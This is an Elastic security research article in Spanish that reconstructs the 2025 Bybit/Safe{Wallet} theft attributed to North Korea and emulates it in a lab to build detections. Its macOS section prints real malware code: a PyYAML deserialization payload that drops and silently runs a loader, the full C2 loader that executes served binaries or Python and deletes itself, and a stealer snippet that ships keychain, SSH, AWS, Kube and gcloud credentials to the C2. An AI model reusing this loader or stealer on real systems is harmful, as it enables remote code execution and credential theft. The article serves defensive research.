Conclusiones clave
Principales conclusiones de esta investigación:
- PyYAML fue deserialización como vector de acceso inicial
- El ataque aprovechó el abuso del token de sesión y el movimiento lateral de AWS.
- Manipulación de la cadena de suministro de sitios estáticos
- Sigilo basado en Docker en macOS
- Correlación de detección de extremo a extremo con Elastic
Introducción
El 21 de febrero 2025, el mundo de las criptomonedas se sacudió cuando aproximadamente 400.000 ETH desaparecieron de ByBit, uno de los intercambios de criptomonedas más grandes de la industria. Se cree que detrás de este asombroso robo está la unidad de ciberofensiva de élite de Corea del Norte, conocida como TraderTraitor. Al explotar una relación de confianza con un proveedor como Safe{Wallet}, una plataforma de billetera multisig (múltiples firmas), TraderTraitor transformó una transacción de rutina en un robo de mil millones de dólares. Los ataques a la cadena de suministro se convirtieron en un sello distintivo de la estrategia cibernética de la RPDC, y apuntalan el robo por parte del régimen de más de 6 mil millones de dólares en criptomonedas desde 2017. En este artículo, analizaremos este ataque, emularemos cuidadosamente sus tácticas dentro de un entorno controlado y brindaremos lecciones prácticas para reforzar las defensas de ciberseguridad empleando el producto y las características de Elastic.
Nuestra emulación de esta amenaza se basa en investigaciones publicadas por Sygnia, Mandiant/SAFE, SlowMist y Unit42.
Cronología de los acontecimientos
Si estás aquí para conocer los detalles técnicos de emulación, no dudes en saltarte este paso. Pero para poner en contexto, y aclarar lo que se informó oficialmente, compilamos una cronología de alto nivel de los acontecimientos para fundamentar nuestras suposiciones con base en la investigación mencionada anteriormente.
Febrero 2, 2025 – Configuración de la infraestructura
El atacante registra el dominio getstockprice[.]com a través de Namecheap. Esta infraestructura se emplea posteriormente como punto final C2 en la carga útil de acceso inicial.
Febrero 4, 2025 – Compromiso inicial
La estación de trabajo macOS de Developer1 se ve comprometida luego de ejecutar una aplicación Python maliciosa. Esta aplicación contenía lógica relacionada con Docker y hacía referencia al dominio del atacante. La ruta del archivo (~/Downloads/
) y el comportamiento del malware sugieren ingeniería social (probablemente a través de Telegram o Discord, en consonancia con las prácticas comerciales anteriores REF7001 y UNC4899).
Febrero 5, 2025 : Comienza la intrusión en AWS
El atacante accede con éxito al entorno de AWS de Safe{Wallet} empleando los tokens de sesión de AWS activos de Developer1. El atacante intenta (sin éxito) registrar su propio dispositivo MFA virtual en el usuario IAM de Developer1, lo que indica un intento de persistencia.
5 al 17 de febrero: comienza la actividad de reconocimiento dentro del entorno de AWS. Durante este tiempo, las acciones de los atacantes probablemente incluyeron la enumeración de roles de IAM, depósitos S3 y otros activos en la nube.
Febrero 17, 2025 – Actividad de comando y control de AWS
Se confirmó el tráfico C2 observado en AWS. Esto marca el paso del reconocimiento pasivo a la preparación activa del ataque.
Febrero 19, 2025 – Manipulación de aplicaciones sitio web
Una instantánea de app.safe.global (la aplicación sitio web Next.js alojada estáticamente de Safe{Wallet}) capturada por Wayback Machine muestra la presencia de JavaScript malicioso. La carga útil fue diseñada para detectar una transacción multifirma de Bybit y modificarla sobre la marcha, redirigiendo los fondos a la billetera del atacante.
Febrero 21, 2025 – Ejecución y limpieza
La transacción de explotación se ejecuta contra Bybit a través de la interfaz Safe{Wallet} comprometida.
Una nueva instantánea de Wayback Machine confirma que se eliminó la carga útil de JavaScript, lo que indica que el atacante la eliminó manualmente luego de la ejecución.
La transacción del robo de Bybit está finalizada. Se robaron aproximadamente 400.000 ETH. Un análisis posterior realizado por Sygnia y otros confirma que la infraestructura de Bybit no se vio comprometida directamente: Safe{Wallet} fue el único punto de falla.
Supuestos para la emulación
- Vector de ingeniería social inicial: se empleó ingeniería social para comprometer a Developer1, lo que resultó en la ejecución de un script Python malicioso. Los detalles exactos de la táctica de ingeniería social (como los mensajes específicos, las técnicas de suplantación o la plataforma de comunicación empleada) siguen siendo desconocidos.
- Cargador y carga útil de segunda etapa: el script Python malicioso ejecutó un cargador de segunda etapa. Actualmente no está claro si este cargador y las cargas útiles posteriores coinciden con las detalladas en los reportes de Unit42, a pesar de la alineación en las características de la aplicación Python de acceso inicial.
- Estructura y flujo de trabajo de la aplicación segura: la aplicación comprometida (
app.global.safe
) parece ser una aplicación Next.js alojada estáticamente en AWS S3. Sin embargo, se desconocen detalles específicos como sus rutas exactas, componentes, procesos de desarrollo, métodos de control de versiones y flujo de trabajo de implementación de producción. - Implementación de carga útil de JavaScript: si bien los atacantes inyectaron JavaScript malicioso en la aplicación Safe{Wallet}, no está claro si esto implicó reconstruir y volver a implementar toda la aplicación o simplemente sobreescribir/modificar un archivo JavaScript específico.
- Detalles de administración de identidad e IAM de AWS: se desconocen los detalles sobre las licencias, roles y configuraciones de políticas de IAM de Developer1 dentro de AWS. Además, aún no está claro si Safe{Wallet} empleó AWS IAM Identity Center o soluciones de gestión de identidad alternativas.
- Recuperación y uso de tokens de sesión de AWS: si bien los reportes confirman que los atacantes usaron tokens de sesión temporales de AWS, se desconocen los detalles sobre cómo Developer1 recuperó originalmente estos tokens (por ejemplo, a través de AWS SSO,
GetSessionToken
o configuraciones de MFA específicas) y cómo se almacenaron o emplearon posteriormente (por ejemplo, variables de entorno, archivos de configuración de AWS, scripts personalizados). - Técnicas de enumeración y explotación de AWS: Las herramientas exactas, las metodologías de enumeración, las llamadas a la API de AWS y las acciones específicas llevadas a cabo por los atacantes dentro del entorno de AWS entre 5 febrero y 17 de febrero 2025 siguen sin revelar.
- Mecanismos de persistencia de AWS: si bien hay una indicación de una posible persistencia dentro de la infraestructura de AWS (por ejemplo, a través de una vulneración de la instancia EC2), no se proporcionan detalles explícitos que incluyan herramientas, tácticas o métodos de persistencia.
Descripción general del ataque
Es habitual atacar a compañías dentro del ecosistema criptográfico. La RPDC ataca continuamente a estas compañías debido al relativo anonimato y la naturaleza descentralizada de las criptomonedas, lo que permite al régimen evadir las sanciones financieras globales. Los grupos cibernéticos ofensivos de Corea del Norte se destacan en identificar y explotar vulnerabilidades, lo que resulta en miles de millones de dólares en pérdidas.
Esta intrusión comenzó con la vulneración selectiva de la estación de trabajo MacOS de un desarrollador en Safe{Wallet}, el confiable proveedor de billeteras multifirma de ByBit. El acceso inicial implicó ingeniería social, probablemente acercar al desarrollador a través de plataformas como LinkedIn, Telegram o Discord, basar en campañas anteriores, y convenciéndolos de descargar un archivo que contenía una aplicación Python con temática criptográfica, un procedimiento de acceso inicial favorecido por la RPDC. Esta aplicación Python también incluía una versión Dockerizada de la aplicación que podía ejecutar dentro de un contenedor privilegiado. Sin que el desarrollador lo supiera, esta aplicación aparentemente benigna permitía a los operadores de la RPDC explotar una vulnerabilidad de ejecución remota de código (RCE) en la biblioteca PyYAML, proporcionando capacidades de ejecución de código y posteriormente control sobre el sistema host.
Luego de obtener acceso inicial a la máquina del desarrollador, los atacantes implementaron el agente Poseidon de MythicC2, una robusta carga útil basada en Golang que ofrece sigilo avanzado y amplias capacidades de postexplotación para entornos macOS. Los atacantes luego pueden realizar un reconocimiento y descubierto el acceso del desarrollador al entorno de AWS de Safe{Wallet} y el uso de tokens de sesión de usuario de AWS temporales protegidos mediante autenticación multifactor (MFA). Armados con la ID de clave de acceso de AWS del desarrollador, la clave secreta y el token de sesión temporal, los actores de amenazas se autenticaron en el entorno de AWS de Safe{Wallet} en aproximadamente 24 horas, aprovechando la validez de 12 horas de los tokens de sesión.
En un intento por garantizar el acceso persistente al entorno de AWS, los atacantes intentaron registrar su propio dispositivo MFA. Sin embargo, los tokens de sesión temporales de AWS no permiten llamadas a la API de IAM sin el contexto de autenticación MFA, lo que provoca que este intento falle. Luego de este pequeño revés, el actor de amenazas enumeró el entorno de AWS y finalmente descubrió un bucket S3 que alojaba la interfaz de usuario estática Next.js de Safe{Wallet}.
Los atacantes podrían luego descargar el código incluido en la aplicación Next.js y pasar casi dos semanas analizando su funcionalidad antes de inyectar JavaScript malicioso en el archivo JS principal y sobreescribir la versión legítima alojada en el bucket S3. El código JavaScript malicioso se activó exclusivamente en transacciones iniciadas desde la dirección de billetera fría de Bybit y una dirección controlada por el atacante. Al insertar parámetros codificados, el script eludió los controles de validación de transacciones y las verificaciones de firma digital, engañando efectivamente a los aprobadores de billetera ByBit que confiaban implícitamente en la interfaz Safe{Wallet}.
Poco después, la RPDC inició una transacción fraudulenta, activando el script malicioso para alterar los detalles de la transacción. Esta manipulación, probablemente, contribuyó a engañar a los firmantes de la billetera para que aprobaran la transferencia ilícita, otorgando así a los agentes de la RPDC el control de aproximadamente 400.000 ETH. Estos fondos robados fueron luego lavados en billeteras controladas por los atacantes.
Elegimos finalizar nuestra investigación y emulación de comportamiento cuando se comprometió la aplicación Next.js. Por lo tanto, no profundizamos en las tecnologías blockchain, como los contratos inteligentes de ETH, las direcciones de contrato y las llamadas de barrido de ETH discutidas en varias otras publicaciones de investigación.
Emulando el ataque
Para comprender verdaderamente esta brecha, decidimos emular toda la cadena de ataque en un entorno de laboratorio controlado. Como investigadores de seguridad en Elastic, queríamos seguir los pasos del atacante para comprender cómo se desarrolló esta operación en cada etapa: desde la ejecución del código hasta el secuestro de sesiones de AWS y la manipulación de transacciones basadas en navegador.
Esta emulación práctica tenía un doble propósito. En primer lugar, nos permitió analizar el ataque a un nivel técnico granular para descubrir oportunidades prácticas de detección y prevención. En segundo lugar, nos dio la oportunidad de probar las capacidades de Elastic de extremo a extremo: para ver si nuestra plataforma no solo podía detectar cada fase del ataque, sino también correlacionarlas en una narrativa coherente sobre la cual los defensores pudieran actuar.
Compromiso de punto final de MacOS
Gracias a la descripción detallada de Unit42 (y, lo que es más importante, a la carga de muestras recuperadas en VirusTotal), pudimos emular el ataque de extremo a extremo empleando las cargas útiles reales observadas en la práctica. Esto incluía:
- Carga útil de deserialización de PyYAML
- Script de carga de Python
- Script ladrón de Python
Aplicación maliciosa de Python
La aplicación Python de acceso inicial que usamos en nuestra emulación se alinea con las muestras destacadas y compartidas por SlowMist y corroboradas por los hallazgos de respuesta a incidentes de Mandiant del compromiso del desarrollador SAFE. Esta aplicación también coincidió con la estructura de directorio de la aplicación mostrada por Unit42 en su artículo. Los atacantes bifurcaron un proyecto legítimo de compraventa de acciones en Python desde GitHub y lo abrieron con una puerta trasera dentro de un script de Python llamado data_fetcher.py
.
La aplicación aprovecha Streamlit para ejecutar app.py
, que importa el script data_fetcher.py
.
El script data_fetcher.py
incluye una funcionalidad maliciosa diseñada para llegar a un dominio controlado por un atacante.
El script, de forma predeterminada, obtiene datos válidos relacionados con el mercado de valores. Sin embargo, dependiendo de condiciones específicas, el servidor controlado por el atacante puede devolver una carga YAML maliciosa. Cuando se evalúa empleando el cargador inseguro de PyYAML (yaml.load()
), esta carga útil permite la deserialización arbitraria de objetos Python, lo que da como resultado RCE.
Carga útil de deserialización de PyYAML
(Hash VT: 47e997b85ed3f51d2b1d37a6a61ae72185d9ceaf519e2fdb53bf7e761b7bc08f
)
Recreamos esta configuración maliciosa alojando la carga útil de deserialización YAML en una aplicación sitio web Python+Flask, usando PythonAnywhere para imitar la infraestructura del atacante. Actualizamos la URL maliciosa en el script data_fetcher.py
para apuntar a nuestra carga útil YAML alojada en PythonAnywhere.
Cuando PyYAML carga y ejecuta la carga útil YAML maliciosa, realiza las siguientes acciones:
Primero, crea un directorio llamado Public
en el directorio de inicio de la víctima.
directory = os.path.expanduser("~")
directory = os.path.join(directory, "Public")
if not os.path.exists(directory):
os.makedirs(directory)
A continuación, decodifica y escribe un script de cargador de Python codificado en base64 en un nuevo archivo llamado __init__.py
dentro del directorio Public
.
filePath = os.path.join(directory, "__init__.py")
with open(filePath, "wb") as f:
f.write(base64.b64decode(b"BASE64_ENCODED_LOADER_SCRIPT"))
Finalmente, ejecuta el script __init__.py
recién creado silenciosamente en segundo plano, iniciando la segunda etapa del ataque.
subprocess.Popen([sys.executable, filePath], start_new_session=True, stdout=DEVNULL, stderr=DEVNULL)
Script de carga de Python
(Hash VT: 937c533bddb8bbcd908b62f2bf48e5bc11160505df20fea91d9600d999eafa79
)
Para evitar dejar evidencia forense, el cargador primero elimina su archivo (__init__.py
) luego de la ejecución, dejándolo ejecutar solo en la memoria.
directory = os.path.join(home_directory, "Public")
if not os.path.exists(directory):
os.makedirs(directory)
try:
body_path = os.path.join(directory, "__init__.py")
os.remove(body_path)
El objetivo principal de este cargador es establecer una comunicación continua con el servidor de comando y control (C2). Recopila información básica del sistema (como el tipo de sistema operativo, la arquitectura y la versión del sistema) y envía estos detalles al C2 a través de una solicitud HTTP POST al punto final URL codificado /club/fb/status.
params = {
"system": platform.system(),
"machine": platform.machine(),
"version": platform.version()
}
while True:
try:
response = requests.post(url, verify=False, data = params, timeout=180)
Según la respuesta del servidor (valor ret), el cargador decide sus próximos pasos.
ret == 0:
El script duerme durante 20 segundos y continúa sondeando.
if res['ret'] == 0:
time.sleep(20)
continue
ret == 1:
La respuesta del servidor incluye una carga útil en Base64. El script decodifica esta carga útil y la escribe en un archivo, llamado init.dll
si está en Windows o init
en caso contrario, y luego carga dinámicamente la biblioteca usando ctypes.cdll.LoadLibrary
, lo que hace que la carga útil se ejecute como un binario nativo.
elif res['ret'] == 1:
if platform.system() == "Windows":
body_path = os.path.join(directory, "init.dll")
else:
body_path = os.path.join(directory, "init")
with open(body_path, "wb") as f:
binData = base64.b64decode(res["content"])
f.write(binData)
os.environ["X_DATABASE_NAME"] = ""
ctypes.cdll.LoadLibrary(body_path)
ret == 2:
El script decodifica el contenido Base64 en código fuente Python y luego lo ejecuta empleando la función exec()
de Python. Esto permite ejecutar código Python arbitrario.
elif res['ret'] == 2:
srcData = base64.b64decode(res["content"])
exec(srcData)
ret == 3:
El script decodifica una carga binaria (dockerd
) y un archivo de configuración binaria (docker-init
) en dos archivos separados, establece sus licencias para que sean ejecutables y luego intenta ejecutarlos como un nuevo proceso, proporcionando el archivo de configuración como argumento a la carga binaria. Luego de ejecutar la carga binaria, elimina su archivo ejecutable, dejando el archivo de configuración en el disco como referencia.
elif res['ret'] == 3:
path1 = os.path.join(directory, "dockerd")
with open(path1, "wb") as f:
binData = base64.b64decode(res["content"])
f.write(binData)
path2 = os.path.join(directory, "docker-init")
with open(path2, "wb") as f:
binData = base64.b64decode(res["param"])
f.write(binData)
os.chmod(path1, stat.S_IRUSR | stat.S_IWUSR | stat.S_IXUSR |
stat.S_IRGRP | stat.S_IXGRP |
stat.S_IROTH | stat.S_IXOTH)
os.chmod(path2, stat.S_IRUSR | stat.S_IWUSR | stat.S_IXUSR |
stat.S_IRGRP | stat.S_IXGRP |
stat.S_IROTH | stat.S_IXOTH)
try:
process = subprocess.Popen([path1, path2], start_new_session=True)
process.communicate()
return_code = process.returncode
requests.post(SERVER_URL + '/club/fb/result', verify=False, data={"result": str(return_code)})
except:
pass
os.remove(path1)
ret == 9:
El script sale de su bucle de sondeo y finaliza las acciones futuras.
elif res['ret'] == 9:
break
Luego de procesar cualquier comando, el script continúa buscando más instrucciones del servidor C2.
Emulación del cargador de Python
Nuestro objetivo era probar cada una de las opciones de comando dentro del cargador para comprender mejor lo que estaba sucediendo, recopilar datos de telemetría relevantes y analizarlos con el fin de crear detecciones estables tanto para nuestro punto final como para el SIEM.
Ret == 1: Escribir biblioteca en disco, cargar y eliminar Dylib
La carga útil que usamos para esta opción fue una carga útil de Poseidon compilada como una biblioteca compartida (.dylib
).
Luego codificamos el binario en base64 y pudimos codificar de forma rígida la ruta a esa carga útil codificada en base64 en nuestro servidor C2 para que se sirva al probar este comando de cargador específico.
base64 poseidon.dylib > poseidon.b64
BINARY_PAYLOAD_B64 = "BASE64_ENCODED_DYLIB_PAYLOAD" # For ret==1
STEALER_PAYLOAD_B64 = "BASE64_ENCODED_STEALER_SCRIPT" # For ret==2
MULTI_STAGE_PAYLOAD_B64 = "BASE64_ENCODED_MULTISTAGE_PAYLOAD" # For ret==3
# For testing we simulate a command to send.
# Options: 0, 1, 2, 3, 9.
# 0: Idle (sleep); 1: Execute native binary; 2: Execute Python code; 3: Execute multi-stage payload; 9: Terminate.
COMMAND_TO_SEND = 1 # Change this value to test different actions
Una vez que recibimos la devolución de llamada de carga útil de Poseidon a nuestro Mythic C2, pudimos recuperar las credenciales empleando una variedad de métodos diferentes proporcionados por Poseidon.
Opción 1: comando de descarga : accede al archivo, lee el contenido y envía los datos a C2.
Opción 2: comando getenv : lee las variables de entorno del usuario y envía el contenido de vuelta a C2.
Opción 3: comandos jsimport y jsimport_call : importe el script JXA en la memoria y luego llame a un método dentro del script JXA para recuperar las credenciales del archivo y devolver el contenido.
Ret == 2: Recibir y ejecutar código Python arbitrario dentro de la memoria del proceso
(Hash VT: e89bf606fbed8f68127934758726bbb5e68e751427f3bcad3ddf883cb2b50fc7
)
El script del cargador permite ejecutar código o scripts Python arbitrarios en la memoria. En el blog de Unit42 proporcionaron un script en Python que observaron que la RPDC ejecutaba a través de este valor de retorno. Este script recopila una gran cantidad de datos. Estos datos se codifican mediante XOR y se envían de vuelta al servidor C2 mediante una solicitud POST. Para la emulación todo lo que se necesitaba era agregar nuestra URL C2 con la ruta apropiada tal como se define en nuestro servidor C2 y codificar en base64 el script codificando su ruta dentro de nuestro servidor para cuando se probara esta opción.
def get_info():
global id
id = base64.b64encode(os.urandom(16)).decode('utf-8')
# get xor key
while True:
if not get_key():
break
base_info()
send_directory('home/all', '', home_dir)
send_file('keychain', os.path.join(home_dir, 'Library', 'Keychains', 'login.keychain-db'))
send_directory('home/ssh', 'ssh', os.path.join(home_dir, '.ssh'), True)
send_directory('home/aws', 'aws', os.path.join(home_dir, '.aws'), True)
send_directory('home/kube', 'kube', os.path.join(home_dir, '.kube'), True)
send_directory('home/gcloud', 'gcloud', os.path.join(home_dir, '.config', 'gcloud'), True)
finalize()
break
Ret == 3: Escribir la carga binaria y la configuración binaria en el disco, ejecutar la carga y eliminar el archivo
Para ret == 3 empleamos una carga binaria Poseidon estándar y un “archivo de configuración” que contiene datos binarios como se especifica en el script del cargador. Luego, codificamos en base64 tanto el archivo binario como el de configuración como la opción ret == 1 anterior y codificamos sus rutas en nuestro servidor C2 para servir al probar este comando. Al igual que la opción ret == 1 anterior, pudimos usar esos mismos comandos para recopilar credenciales del sistema de destino.
Infraestructura C2
Creamos un servidor C2 muy simple y pequeño, construido con Python+Flask, destinado a escuchar con un puerto específico en nuestra VM Kali Linux y evaluar las solicitudes entrantes, respondiendo apropiadamente en función de la ruta y el valor de retorno que deseábamos probar.
También empleamos el Mythic C2 de código abierto para facilitar la creación y gestión de las cargas útiles de Poseidon que empleamos. Mythic es un marco C2 de código abierto creado y mantenido por Cody Thomas en SpecterOps.
Aplicación maliciosa de Python: versión Docker
También exploramos una variante Dockerizada de la aplicación Python maliciosa. Esta versión fue empaquetada en un contenedor Docker de Python mínimo (python:3.12.2-slim) que se ejecuta en modo privilegiado, lo que le otorga la capacidad de acceder a los recursos del host.
Una aplicación en contenedores crea un punto ciego de detección y telemetría en macOS porque el Endpoint Security Framework (ESF) de Apple carece de la capacidad de introspeccionar procesos en contenedores. Si bien las soluciones de detección de ESF y puntos finales aún pueden observar el proceso confiable de Docker accediendo a archivos de host confidenciales (como claves SSH, credenciales de AWS o datos de configuración de usuario), estas acciones comúnmente se alinean con los flujos de trabajo de desarrolladores estándar. Como resultado, es menos probable que las herramientas de seguridad examinen o activen alertas sobre actividades en contenedores, lo que ofrece a los atacantes mayor sigilo cuando operan desde entornos Docker.
Esto resalta la necesidad de un monitoreo adicional como OSQuery y la recopilación de archivos de registro de Docker para complementar las defensas estándar de los puntos finales de macOS. Elastic ofrece recopilación de archivos de registro de OSQuery y Docker a través de nuestras integraciones de datos para Elastic Agent junto con nuestras funciones de protección de endpoints.
Conclusión sobre la emulación de macOS
Nuestra emulación recreó el ataque contra el sistema macOS de los desarrolladores de SAFE de extremo a extremo empleando cargas útiles del mundo real.
Aplicación maliciosa de Python:
Comenzamos replicando la aplicación Python maliciosa descrita en los hallazgos de Mandiant y en el reporte de Unit42. Los atacantes bifurcaron una aplicación legítima de código abierto e incorporado acceso RCE dentro de data_fetcher.py
. Este script realizó solicitudes salientes a un servidor controlado por un atacante y obtuvo condicionalmente un archivo YAML malicioso. Al emplear yaml.load()
de PyYAML con un cargador inseguro, el atacante desencadenó la ejecución de código arbitrario a través de la deserialización.
Deserialización de la carga útil de PyYAML que da como resultado la ejecución del script del cargador de Python:
La carga útil YAML escribió un cargador de segunda etapa codificado en base64 en ~/Public/__init__.py
y lo ejecutó en un proceso separado. Imitamos este flujo exacto empleando un servidor de prueba basado en Flask alojado en PythonAnywhere.
Ejecución del cargador de Python e interacción con C2:
Una vez lanzado, el cargador eliminó su archivo en el disco y se dirigió a nuestro C2 emulado, esperando la tarea. Basándonos en el código de respuesta de C2 (ret
), probamos las siguientes acciones:
- ret == 1: El cargador decodificó una carga útil de Poseidon (compilada como
.dylib
) y la ejecutó usandoctypes.cdll.LoadLibrary()
, lo que resultó en la ejecución de código nativo desde el disco. - ret == 2: El cargador ejecutó un ladrón de Python en memoria, que coincide con el script compartido por Unit42. Este script recopiló datos del sistema, del usuario, del navegador y de credenciales y los filtró mediante solicitudes POST codificadas con XOR.
- ret == 3: El cargador escribió un binario de Poseidon y un archivo de configuración binario separado en el disco, ejecutó el binario con la configuración como argumento y luego eliminó la carga útil.
- ret == 9: El cargador finalizó su bucle de sondeo.
Recopilación de datos: Reconocimiento previo al pivote y acceso a credenciales:
Durante nuestra prueba ret == 2 , el ladrón de Python recopiló:
- Información del sistema macOS (
platform
,os
,user
) - Datos de usuario de Chrome (marcadores, cookies, datos de inicio de sesión, etc.)
- Claves privadas SSH (
~/.ssh
) - Credenciales de AWS (
~/.aws/credentials
) - Archivos de llavero de macOS (
login.keychain-db
) - Archivos de configuración de GCP/Kube de
.config/
Esto emula la recopilación de datos previa al pivote que precedió a la explotación de la nube y refleja cómo los actores de la RPDC recolectaron credenciales de AWS del entorno local del desarrollador.
Con credenciales de AWS válidas, los actores de la amenaza luego pasaron al entorno de la nube y lanzaron la segunda fase de esta intrusión.
Compromiso de la nube de AWS
Prerrequisitos y configuración
Para emular la etapa de AWS de este ataque, primero aprovechamos Terraform para crear la infraestructura necesaria. Esto incluyó la creación de un usuario de IAM (desarrollador) con una política de IAM demasiado permisiva que otorgaba acceso a las API de S3, IAM y STS. Luego enviamos una aplicación Next.js creada localmente a un depósito S3 y confirmamos que el sitio estaba activo, simulando una interfaz simple de Safe{Wallet}.
Nuestra elección de Next.js
se basó en la ruta estática del sitio del bucket S3 original: https://app[.]safe[.]global/_next/static/chunks/pages/_app-52c9031bfa03da47.js
Antes de inyectar cualquier código malicioso, verificamos la integridad del sitio realizando una transacción de prueba empleando una dirección de billetera de destino conocida para garantizar que la aplicación respondiera como se esperaba.
Recuperación de token de sesión temporal
Luego del acceso inicial y la actividad posterior al compromiso en la estación de trabajo macOS del desarrollador, las primeras suposiciones se centraron en que el adversario recuperaría credenciales de las ubicaciones de configuración predeterminadas de AWS, como ~/.aws
o de las variables del entorno del usuario. Más tarde, el blog de Unit42 confirmó que el script ladrón de Python tenía como objetivo archivos de AWS. Estas ubicaciones a menudo almacenan credenciales de IAM a largo plazo o tokens de sesión temporales empleados en flujos de trabajo de desarrollo estándar. Sin embargo, según reportes públicos, este compromiso específico involucraba tokens de sesión de usuario de AWS, no credenciales de IAM a largo plazo. En nuestra emulación, como desarrolladores, agregamos nuestro dispositivo MFA virtual a nuestro usuario IAM, lo habilitamos y luego recuperamos nuestro token de sesión de usuario y exportamos las credenciales a nuestro entorno. Tenga en cuenta que en nuestro punto final Kali Linux, empleamos ExpressVPN (como lo hicieron los adversarios) para cualquier llamada de API de AWS o interacción con el cuadro del desarrollador.
Se sospecha que el desarrollador obtuvo credenciales temporales de AWS ya sea mediante la operación de API GetSessionToken o iniciando sesión a través de AWS Single Sign-On (SSO) usando la AWS CLI. Ambos métodos dan como resultado credenciales de corta duración que se almacenan en caché localmente y se pueden emplear para interacciones basadas en CLI o SDK. Es probable que estas credenciales temporales se almacenaran en caché en los archivos ~/.aws
o se exportaran como variables de entorno en el sistema macOS.
En el escenario GetSessionToken , el desarrollador ejecutó un comando como este:
aws sts get-session-token --serial-number "$ARN" --token-code "$FINAL_CODE" --duration-seconds 43200 --profile "$AWS_PROFILE" --output json
En el escenario de autenticación basada en SSO, el desarrollador puede ejecutar:
aws configure sso
aws sso login -profile "$AWS_PROFILE" -use-device-code "OTP"`
Cualquiera de los métodos hace que las credenciales temporales (clave de acceso, secreto y token de sesión) se almacenen en archivos ~/.aws
y se pongan a disposición del perfil de AWS configurado. Estas credenciales luego son empleadas automáticamente por herramientas como AWS CLI o SDK como Boto3 a menos que se anulen. En cualquier caso, si un malware o un adversario tuvo acceso al sistema macOS del desarrollador, estas credenciales podrían haber obtenido fácilmente de las variables de entorno, el caché de configuración de AWS o el archivo de credenciales.
Para obtener estas credenciales para Developer1 se creó un script personalizado para una automatización rápida. Creó un dispositivo MFA virtual en AWS, registró el dispositivo con nuestro usuario Developer1, luego llamó a GetSessionToken
desde STS y agregó las credenciales de sesión de usuario temporal devueltas a nuestro punto final de macOS como variables de entorno como se muestra a continuación.
Intentos de registro de dispositivos MFA
Una suposición clave aquí es que el desarrollador estaba trabajando con una sesión de usuario que tenía MFA habilitada, ya sea para uso directo o para asumir un rol de IAM gestionado personalizado. Nuestra suposición se basa en el material de credenciales comprometido: tokens temporales de sesión de usuario de AWS, que no se obtienen de la consola, sino que se aplicar a petición de STS. Las credenciales temporales devueltas desde GetSessionToken
o SSO caducan de forma predeterminada luego de un cierto número de horas, y un token de sesión con el prefijo ASIA* sugeriría que el atacante obtuvo una credencial de corta duración, pero de gran impacto. Esto se alinea con los comportamientos observados en ataques anteriores atribuidos a la RPDC, donde se extrajeron y reutilizaron credenciales y configuraciones de Kubernetes, GCP y AWS.
Asumiendo la identidad comprometida en Kali
Una vez que se recopiló el token de sesión de AWS, es probable que el adversario lo almacenara en su sistema Kali Linux, ya sea en las ubicaciones de credenciales de AWS estándar (por ejemplo, ~/.aws/credentials
o como variables de entorno) o potencialmente en una estructura de archivo personalizada, según las herramientas en uso. Si bien la AWS CLI tiene como opción predeterminada leer desde ~/.aws/credentials
y variables de entorno, se podría configurar un script de Python que aproveche Boto3 para obtener credenciales de prácticamente cualquier archivo o ruta. Dada la velocidad y precisión de la actividad posterior al compromiso, es plausible que el atacante empleó la CLI de AWS, llamadas directas al SDK de Boto3 o scripts de shell que envuelven comandos CLI, todos los cuales ofrecen conveniencia y firma de solicitud incorporada.
Lo que parece menos probable es que el atacante firmó manualmente las solicitudes de API de AWS empleando SigV4, ya que esto sería innecesariamente lento y operativamente complejo. También es importante tener en cuenta que ningún blog público reveló qué cadena de agente de usuario se asoció con el uso del token de sesión (por ejemplo, aws-cli, botocore, etc.), lo que deja incertidumbre en torno a las herramientas exactas del atacante. Dicho esto, dada la dependencia establecido de DRPK en Python y la velocidad del ataque, el uso de CLI o SDK sigue siendo la suposición más razonable.
Nota: Hicimos esto en emulación con nuestra carga útil Poseidon antes del blog de la Unidad 42 sobre las capacidades del cargador RN.
Es importante aclarar un matiz sobre el modelo de autenticación de AWS: el uso de un token de sesión no bloquea inherentemente el acceso a las acciones de la API de IAM , incluso acciones como CreateVirtualMFADevice , siempre que la sesión se estableció inicialmente con MFA. En nuestra emulación, intentamos replicar este comportamiento empleando un token de sesión robado que tenía contexto MFA. Curiosamente, nuestros intentos de registrar un dispositivo MFA adicional fallaron, lo que sugiere que puede haber garantías adicionales, como restricciones de políticas explícitas, que impidan el registro de MFA a través de tokens de sesión o que los detalles de este comportamiento aún son demasiado vagos y lo imitamos incorrectamente. Si bien el motivo exacto de la falla aún no está claro, este comportamiento justifica una investigación más profunda de las políticas de IAM y el contexto de autenticación asociado con las acciones vinculadas a la sesión.
Enumeración de activos S3
Luego de adquirir las credenciales, es probable que el atacante enumeró los servicios de AWS accesibles. En este caso, Amazon S3 era un objetivo claro. El atacante enumeró los buckets disponibles para la identidad comprometida en todas las regiones y localizó un bucket público asociado con Safe{Wallet}, que alojaba la aplicación frontend Next.js para el procesamiento de transacciones.
Suponemos que el atacante estaba al tanto del bucket S3 debido a su función en el suministro de contenido para app.safe[.]global
, lo que significa que la estructura y los activos del bucket podrían explorar o descargar públicamente sin autenticación. En nuestra emulación, validamos un comportamiento similar al sincronizar activos desde un depósito S3 público empleado para el alojamiento de sitios estáticos.
Sobrescritura de la aplicación Next.js con código malicioso
Luego de descubrir el depósito, el atacante probablemente empleó el comando aws s3 sync para descargar todo el contenido, que incluía los recursos JavaScript del frontend incluidos. Entre 5 febrero y 19 de febrero de 2025, parecieron centrar en modificar estos activos, específicamente, archivos como main.<HASH>.js
y rutas relacionadas, que son generados por Next.js
durante su proceso de compilación y almacenados en el directorio _next/static/chunks/pages/
. Estos archivos agrupados contienen la lógica de la aplicación transpilada y, según el reporte forense de Sygnia, un archivo llamado _app-52c9031bfa03da47.js
fue el punto de inyección principal del código malicioso.
Las aplicaciones Next.js, cuando se crean, generalmente almacenan sus activos generados estáticamente en el directorio next/static/
, con fragmentos de JavaScript organizados en carpetas como /chunks/pages/
. En este caso, es probable que el adversario formateó y desofuscado el paquete de JavaScript para comprender su estructura y luego aplicó ingeniería inversa a la lógica de la aplicación. Luego de identificar el código responsable de manejar las direcciones de billetera ingresadas por el usuario, inyectaron su carga útil. Esta carga útil introdujo una lógica condicional: si la dirección de billetera ingresada coincidía con una de varias direcciones de destino conocidas, reemplazaría silenciosamente el destino con una dirección controlada por la RPDC, redirigiendo los fondos sin que el usuario se dé cuenta.
En nuestra emulación, replicamos este comportamiento modificando el componente TransactionForm.js
